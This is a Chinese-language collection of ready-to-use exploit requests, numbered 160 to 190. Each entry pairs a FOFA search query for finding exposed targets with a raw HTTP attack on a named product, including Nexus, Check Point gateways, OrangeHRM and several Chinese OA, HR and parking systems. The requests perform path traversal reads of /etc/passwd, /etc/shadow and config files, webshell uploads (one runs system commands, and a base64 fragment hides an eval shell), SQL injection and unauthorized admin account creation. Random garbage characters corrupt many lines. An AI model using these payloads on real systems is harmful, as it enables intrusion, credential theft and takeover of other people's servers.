<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
- |+ \5 M* O* l$ D</soap:Body>
) c1 K7 |! t# H$ E</soap:Envelope>

8 {0 _% J1 r* N% Z5 d" u6 }& `
3 H2 r1 P' r& V! U/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

! l! _- L2 Q- F% U: P, h0 V
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
& t( y5 m8 P1 g4 cGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
* S$ @6 a# x! e/ h  AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
Accept-Language: en
1 H, z0 V1 T' ^2 xAccept-Encoding: gzip

, Q$ a9 G) `2 X* f& A  I: ]
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
, \; j9 n8 \% @: w* GFOFA：body="/KT_Css/qd_defaul.css"
$ s+ p' [9 U! L0 |第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
$ k* D5 Z9 U  `5 W+ B; v. PHost: x.x.x.x
  ^% |8 S' g" n6 Q- HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
2 M. b9 ~0 s  L. ~. w6 a% iContent-Type: text/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
. j; W$ [2 z$ o6 ]( _xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
# J  H9 J' x# Z' j5 l+ _<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
- o. j! Q$ j1 J* C; X+ R6 z<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
. f$ V$ R/ u2 _! @4 W. X0 G, C<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
- {+ ~: v( U( F* s: k; n4 a" F; q<tag>3</tag>
</UploadResume>
) w7 Z6 X4 A  m( m</soap:Body>
</soap:Envelope>

- @* A' [8 d5 L# \6 t- P% D
1 C( ~; i' t, O+ |4 dhttp://x.x.x.x/dizxdell.aspx

- v3 g' y( {% N! H3 H! \4 r2 h162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
1 ]" P9 P' v" \  s- ]: A+ ~FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
7 E0 V( I4 G# d6 |8 CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
' Q& Y; q7 r% u  j0 W2 U/ o2 D2 oContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

1 W) v2 X, i: [------WebKitFormBoundaryeegvclmyurlotuey
. `6 {2 s( _9 KContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
1 S& O: I; n; y# VContent-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
$ e5 ~) P! @" z------WebKitFormBoundaryeegvclmyurlotuey
! a  M- {4 K+ ?$ Z  ]5 O) _5 l4 jContent-Disposition: form-data; name="action"

upload
------WebKitFormBoundaryeegvclmyurlotuey
. ^& }" S1 M' h" S( ~: ~" yContent-Disposition: form-data; name="responderId"

ResourceNewResponder
2 {4 B, {( R" R# G1 A------WebKitFormBoundaryeegvclmyurlotuey
% o7 r0 v8 r, m; @Content-Disposition: form-data; name="remotePath"
1 s% c9 `; M/ \0 K/ o$ N9 _
/opt/resources
# I9 a: Y) h  z% T------WebKitFormBoundaryeegvclmyurlotuey--
1 h& T0 u+ O8 T' }  H+ X- k' ?# A

http://x.x.x.x/opt/resources/kjuhitjgk.aspx
' O. |7 r) h: i( f
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
" T& P; X" g! F' sFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
+ ?: A  p) n: S% y  w; d. wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
! B2 n/ f4 t1 ~: r% _; T$ r8 dConnection: close
Content-Length: 293
2 [2 t$ Y/ p. _. f, I* GAccept: */*
, C4 \, m/ P3 h4 D/ F8 C5 H7 c2 `Accept-Encoding: gzip, deflate
8 Z& T3 v9 }4 k& `Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
# Q# R; Y  o: L7 m" h- V6 E
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

3 d# ?# {9 {1 ^! D1.php
# y0 G7 c! s" c; K------iiqvnofupvhdyrcoqyuujyetjvqgocod
$ Q0 N7 E! {( [! [# \Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

5 L' [4 k3 P# a1 trvjhvbhwwuooyiioxega
  h1 w2 l% z' k' q7 ^. z) d1 ?------iiqvnofupvhdyrcoqyuujyetjvqgocod--

1 ?; m( |5 @+ [+ T3 ]8 P
8 {2 Z9 _7 O# V* Y1 A164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
3 H) F, x+ U: Q) h- XContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
/ h1 _6 G- ?2 _5 `/ e) lConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
+ {; U! |4 I( C# B0 E2 ~1 s% m" JX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

1 c& S7 e2 e, H  J$ m- M------dqdaieopnozbkapjacdbdthlvtlyl
. j# m3 `7 n1 XContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
: y9 i* \2 a1 u' _3 s1 x. w- Q
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
/ ]4 G# ?7 d0 S) P# l( d$ c

http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
4 j: ~6 _) A( z" R. u: {2 HCVE-2024-36428
9 a5 y( M( a* l. F. _FOFA: app="OrangeHRM-产品"
# t" j& w% |+ _; K" q) ?URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
& J/ [  l( A5 l7 l& ~0 L# q
& q. D7 @( }4 E9 ]9 Q! d' K
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
& T0 ~2 u4 r0 BPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
9 W* u/ M/ Q  O- |3 w3 UHost:
2 e* z- e1 D3 {) y; }Pragma: no-cache
Cache-Control: no-cache
% u6 X/ B% z# n. _5 `& ?Upgrade-Insecure-Requests: 1
) Y! q8 [5 g6 a* d/ m! n' U, x9 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
- N$ W5 I! a0 g5 K2 }8 n& _: I9 q4 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ X% l, L2 C" C) JAccept-Encoding: gzip, deflate
4 S$ Y& U4 M, {Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

/ P  K8 a( D; S4 e- l1 xMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
3 M" |) m  d" ]- _! E
8 ?, W3 [' u; Q+ v/ d
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
8 m4 A  ~! O, L$ h; y& hGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
* d: d+ J! `$ f, [" iHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
4 I8 p: I0 E, GAccept-Encoding: gzip, deflate
4 f6 a3 m+ T9 w: sAccept: */*
  G$ p# R3 _4 K0 }* [' pConnection: keep-alive
; [5 `& I) Q' c5 q+ w! Y

5 Y6 ]- A  c5 T# ]/ M8 a( K168. 宏景EHR OutputCode 任意文件读取
4 \! Z/ C2 V: C) P1 `FOFA：app="HJSOFT-HCM"
9 v9 e3 E6 A3 iGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
% G6 K3 z8 f; ~6 n& ZHost: your-ip
$ @) a9 U& f! P& y- |( v' rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
! o- k2 y# V4 c. Q' _2 qConnection: close
9 x0 v  M6 m; h/ s8 z* Z, Y4 t

+ ~! P; U& J3 @
$ F; r3 n2 ?0 Z& T169. 宏景EHR downlawbase SQL注入
( a! P' D0 @, I& M. T' v* DFOFA：app="HJSOFT-HCM"
0 e4 |7 u" {7 \) G# T, FGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
$ \- ]  a3 ?+ C+ b, S' l3 a8 lAccept-Encoding: gzip, deflate
" T- N* [$ K, K8 W0 pConnection: close

2 C* A) q/ @% F( K- M/ T

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
8 ?2 Y' ^* `" x% E% d$ v% rFOFA：body="/general/sys/hjaxmanage.js"
8 f* `8 k& s: m- R. DPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
6 D: q& d  H8 j$ `. A# N- v2 CHost: balalanengliang
5 z7 T* @7 g7 ?& A2 p5 d) ^  jUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
4 Z! }5 E( [8 K% f

171. 通天星CMSV6车载定位监控平台 SQL注入
* v# @% e4 @& |  `( KFOFA：body="/808gps/"
9 A! u# |4 m' H/ kGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
& `- c- _$ z- N& H2 U. h$ JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
$ ]% b# q& e, x# W; }( q  fAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
& ~4 ~( a- U: q# D' V2 R
) p2 [% y+ k% g' g' I; n5 ~

172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 x; h7 u7 o& a! TAccept-Encoding: gzip, deflate
' J" H1 `  u( oAccept: */*
Connection: keep-alive



173. Check Point 安全网关任意文件读取
CVE-2024-24919
4 C1 ]$ h& K% s- U6 q) wFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
$ g0 ~9 A9 a5 A- k  x) }Content-Type: application/x-www-form-urlencoded

4 h3 w; J: L7 V+ w5 E) RaCSHELL/../../../../../../../etc/shadow

# o- F  W% h8 S' @! d6 t( ^
/ k6 t4 e  W. f+ Y" n- B9 |
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
; j' K8 C/ w1 ~( x/ zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 B# L1 M3 F: a, ?0 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
. Z0 f( P( |4 Q, t. Q: K3 AAccept-Language: zh-CN,zh;q=0.9
! r. Y7 n1 b+ i* l: Q! mConnection: close


+ L8 d  g, W) a" L3 D" ]
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
6 P/ V5 K' ?. J8 f3 ?FOFA：app="金和网络-金和OA"
8 E$ B* E! k4 }4 e- p, [# nGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
! @" o% ?2 X! U* V4 lHost:
& f9 X8 F; A; s7 t+ UUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& r1 x' q1 M1 ^3 Y( p- d5 kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
/ @. O! K9 H2 W7 x( GConnection: close
  x! t9 x2 W$ ]: ]9 ?; ZUpgrade-Insecure-Requests: 1
( {# M, ^3 C  |. G$ ~8 N* k3 k' J0 A3 X
" O. R' }5 [- ~7 q
0 K" V' \+ ]; Q% o8 m, o176. 电信网关配置管理系统 rewrite.php 文件上传
2 s- d3 {3 x3 D! j+ J3 nFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
8 j& A# ^) z5 e9 cHost: your-ip
: ^. \# m% j6 y  k5 F. |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
: M% m9 N8 m7 A) }4 j8 |
) @$ K( ^* {; c------WebKitFormBoundaryOKldnDPT
0 D9 Q0 l% ]8 ?' J2 iContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
0 [9 H6 T9 P2 A7 ~------WebKitFormBoundaryOKldnDPT
0 u0 [$ u. E- d( y3 ZContent-Disposition: form-data; name="uploadtime"
5 T' C' r- U9 S. l* Z

------WebKitFormBoundaryOKldnDPT--
/ M8 _5 W8 j% v. Z$ ^, A' y
4 D" u7 C$ @$ ?! z

177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
' T4 C- w2 b: o/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
7 ?& L- b6 d% I6 o0 a# y6 l8 Q7 Q/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
: B' t3 R. ^$ B/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
! v! `5 Y( V' x! Q/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
9 ~# ]( e; m/ f" s! M, j: ]8 @( ]/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
( A- H, t, l/ Z" [. _. L/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/ g: z) c8 {$ k0 p/ q/ W1 y2 M; P/userLogin.asp/../actionpolicy_status/../ER3200.cfg
" n: I2 C" `$ z* b/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
' I9 \8 z: z6 i2 E/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
$ }* o& \2 h: n$ q" ?
) I( U0 i4 |5 \7 k5 t% u7 [
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
! k. W0 J$ F7 n% UHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
% M' ~9 j) V8 f6 |Content-Length: 252
$ v8 G" m$ o: r' \Accept-Encoding: gzip, deflate
/ S) r9 a+ p1 c4 S5 J# K& uConnection: close
4 A/ z& S) t6 Q9 [8 K3 u) w# HContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
/ g4 z5 @, P3 |9 J( q* b8 z-----------------aqutkea7vvanpqy3rh2l
; e; G+ O& a" ?: PContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
: y, L% {% V( v+ T2 T( uContent-Length: 255
7 E# B* G0 m5 T4 E: b: l$ F
- h$ F" Y4 d1 c" a* L. T12234
0 y) O6 H  e0 r6 m2 A, q* ^! k5 l/ C1 m+ }-----------------aqutkea7vvanpqy3rh2l--
# e! P6 @& h+ D* q
8 V9 Q' N* Z/ o: P
GET /imc/primepush/%2e%2e/flex/12234.txt

( G, R  F) v4 ?" q5 n) O" b* g3 X
179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
. [* ]* |! r1 o5 ]! N6 m; KContent-Type: application/x-www-form-urlencoded
; ]. C  N- J3 l% C+ S; \8 dUser-Agent: Mozilla/5.0
1 K& b4 R) A# W6 G& N, P. I$ q
# F: [' O- n# T7 E/ @path=../log4net.config&Name=
( i5 o! H, F% o* y& B9 w/ T

180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
9 Q% p1 F6 d; j" \' h: F" KGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
0 ?: D9 R  W5 a9 |4 N7 S# PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 l& s) D% y2 p" ?. h% q( S+ ~5 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ y" ~9 J6 }3 {2 ~. I- }' }3 t& RConnection: close

. @* S2 i  d3 p$ c* h2 z' K$ \# R
* ]; q! K& K3 f8 F$ A' L1 I* u181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
2 E3 R. l+ R# Q0 A0 D; M- UHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
$ [" H, F- f9 OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; y' ]7 U* p$ C, SAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
, v0 `2 `; g" f+ f7 G6 Q) `Content-Type: application/x-www-form-urlencoded
- V  N2 e4 o: j) f+ D

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


4 H, O; o7 s! J. E' L+ p; U4 a. W182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
! `- f2 F$ ?! A2 |FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
- k  S( G2 W% o, m7 k) cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; t0 a! M8 t. jAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
+ M4 O( ~9 C; Y- _Connection: close
Content-Type: application/x-www-form-urlencoded


+ k, o8 K' v; W! _4 j3 k6 k  husername=test1234&pwd=test1234&savedays=1
" v0 q3 F: {" |( e: v% W
6 |5 m; }0 {/ S6 u; @  E
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
* J  E, R7 w, }+ ]% SGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
) [3 ?; u2 y0 N; I3 m1 hUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
0 B0 Q. b5 V2 TConnection: close
+ d( ~/ k2 w8 N9 e
5 X: G0 y0 s9 w
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
' M, Y7 N/ _/ |/ L/ f) A% zFOFA：server="SunFull-Webs"
5 D% r. e$ s7 ?9 GPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
: L2 ~# T; P) o, WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
# ?" X7 A- u( r+ a* h/ oAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
2 {5 j1 o8 H) m" y# j
5 M4 k7 W" e8 U$ a: B* L2 j
% h. b' [9 L) A# {! G! D% k185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
9 j$ ~' m) g8 f' f! L

7 ^1 U- y& c: P$ }- q186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
7 I+ r6 S5 ]: u9 b, \# k3 [6 ZFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
. M2 {0 y# Y' U; N( p7 @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& i; y( X" u) SAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

9 l: M% T5 N/ E! R+ \8 n( qreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
4 a1 W; A1 r8 }- a; t
7 L2 w- ~2 |8 k" s4 g
187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
8 o+ j9 u, {1 {' N6 DFOFA："Mura CMS"
' ?9 b  X' U, ~POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded


. W: e0 Q3 t; ^& T1 wobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
( h* [' D. q- N: XConnection: close


1 c! V9 P$ ~$ `189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
" f5 L& \  E/ Q1 X! N7 ]' ^$ yHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 L6 `) z+ A, lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- _* ]" X) D/ N0 fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* F; o% Z: e, FConnection: close


7 w* X; c* d! w* G8 M4 ]190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
